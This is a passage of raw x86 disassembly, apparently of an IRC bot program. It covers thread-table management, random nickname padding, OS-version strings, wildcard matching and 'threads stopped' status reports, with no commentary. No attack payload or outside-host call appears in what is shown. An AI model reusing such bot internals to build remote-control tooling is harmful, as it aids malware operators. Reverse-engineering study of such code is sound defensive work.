loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB28
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26C0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431914
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB28
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D7D8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C04ECh
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43193C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431938
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431934
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431930
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43192C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431928
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431924
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431920


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431918
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB28
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680CE9h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CB630
		test	eax, eax
		mov	eax, offset dword_431948
		jnz	short loc_40B022
		mov	eax, offset dword_43D7D8


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431940
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CB630
		test	eax, eax
		mov	eax, offset dword_431948
		jnz	short loc_40B04D
		mov	eax, offset dword_43D7D8


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC4C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCC4
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC50[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E360


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB360
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E360[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E560[esi], eax
		and	dword_43E564[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E568[esi], 0
		mov	dword_43E56C[esi], eax
		and	byte_43E578[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431A48h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43E360BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C85468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 60FE8147h, 7C004CB3h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E574[esi]
		lea	edi, dword_43E574[esi]
		nop
		call	near ptr 2680D2Eh
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43E568[esi]
		mov	dword_43E560[esi], ebx
		mov	dword_43E564[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43E56C[esi]
		mov	byte ptr dword_43E360[esi], bl
		mov	byte_43E578[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6BC
		lea	esi, dword_43E570[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6BC
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E360


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB360
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E564


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB564
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E560


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB560
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E560


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB560
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E574[eax], ecx
		mov	dword_43E560[eax], ecx
		mov	dword_43E564[eax], ecx
		mov	dword_43E568[eax], ecx
		mov	dword_43E56C[eax], ecx
		mov	dword_43E570[eax], ecx
		mov	byte ptr dword_43E360[eax], cl
		mov	byte_43E578[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E64
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431AC8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431AD0


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE130
		mov	ecx, dword_4CE12C
		push	esi
		push	dword_4CB364
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE130
		lea	eax, [ebp+var_200]
		push	dword_4CE12C
		push	offset unk_431E84
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
